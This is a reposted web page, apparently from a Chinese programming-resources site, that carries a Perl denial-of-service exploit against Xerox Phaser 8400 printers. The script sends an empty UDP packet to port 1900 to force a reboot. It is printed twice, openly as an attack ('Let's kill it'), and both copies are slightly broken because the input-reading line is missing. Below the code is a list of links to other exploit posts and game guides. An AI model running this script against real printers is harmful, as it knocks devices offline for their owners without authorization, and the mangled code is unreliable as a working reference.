您现在的位置是:网站首页> 编程资料编程资料
Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit _Exploit_网络安全_
2023-12-10
281人已围观
简介 Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit _Exploit_网络安全_
#!/usr/bin/perl
# carved-out by: crit3rion, just making th3 world a b3tt3r plac3!
# Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3 for reminding me to close my #$*&*! s0ck3t)
# Make: Xerox
# Model: Phaser 8400
# Firmware: 03/03/2004
#
# What's the deal?
# Apparently, if you send an empty packet to a Xerox Phaser 8400 printer
# the printer will reboot. Tested successfully on four printers.
#
# Let's not leave our maliciousness open to exploitation and errors!
use strict;
use warnings;
use IO::Socket::INET;
# What's your printer's IP Address?
print "Please enter the printers IP:\n";
my $ipaddr =;
chomp $ipaddr;
# Let's setup the connection...
my $socket = IO::Socket::INET->new(
PeerPort => 1900,
PeerAddr => $ipaddr,
Proto => "udp" )
or die "I tried. Maybe you entered the wrong IP?\n Maybe it's just my bad code...\n In any case, check: $@\n\n";
# Okay... Let's kill it.
$socket->send("");
$socket->close();
print "Done. It should have died.\n\n";
exit(1);
# carved-out by: crit3rion, just making th3 world a b3tt3r plac3!
# Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3 for reminding me to close my #$*&*! s0ck3t)
# Make: Xerox
# Model: Phaser 8400
# Firmware: 03/03/2004
#
# What's the deal?
# Apparently, if you send an empty packet to a Xerox Phaser 8400 printer
# the printer will reboot. Tested successfully on four printers.
#
# Let's not leave our maliciousness open to exploitation and errors!
use strict;
use warnings;
use IO::Socket::INET;
# What's your printer's IP Address?
print "Please enter the printers IP:\n";
my $ipaddr =
chomp $ipaddr;
# Let's setup the connection...
my $socket = IO::Socket::INET->new(
PeerPort => 1900,
PeerAddr => $ipaddr,
Proto => "udp" )
or die "I tried. Maybe you entered the wrong IP?\n Maybe it's just my bad code...\n In any case, check: $@\n\n";
# Okay... Let's kill it.
$socket->send("");
$socket->close();
print "Done. It should have died.\n\n";
exit(1);
相关内容
- LoveCMS 1.6.2 Final Remote Code Execution Exploit _Exploit_网络安全_
- BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (spoof on ircd) _Exploit_网络安全_
- TGS CMS 0.3.2r2 Remote Code Execution Exploit _Exploit_网络安全_
- JS异步编程之generator与async/await语法糖详解_javascript技巧_
- 神魔鬼将队伍最强搭配阵容TOP7推荐_手机游戏_游戏攻略_
- 天天飞车6月30日最新破解版葫芦侠刷分刷金币不异常教程攻略_手机游戏_游戏攻略_
- 天天酷跑小单车怎么得_手机游戏_游戏攻略_
- 天天飞车最强金币任务活动介绍 活动奖励是什么?_手机游戏_游戏攻略_
- 天天飞车达人秀活动怎么玩? 天天飞车达人秀活动介绍 _手机游戏_游戏攻略_
- 天天飞车达人秀6月28日获奖名单列表 天天飞车达人秀6月28日获奖选手介绍_手机游戏_游戏攻略_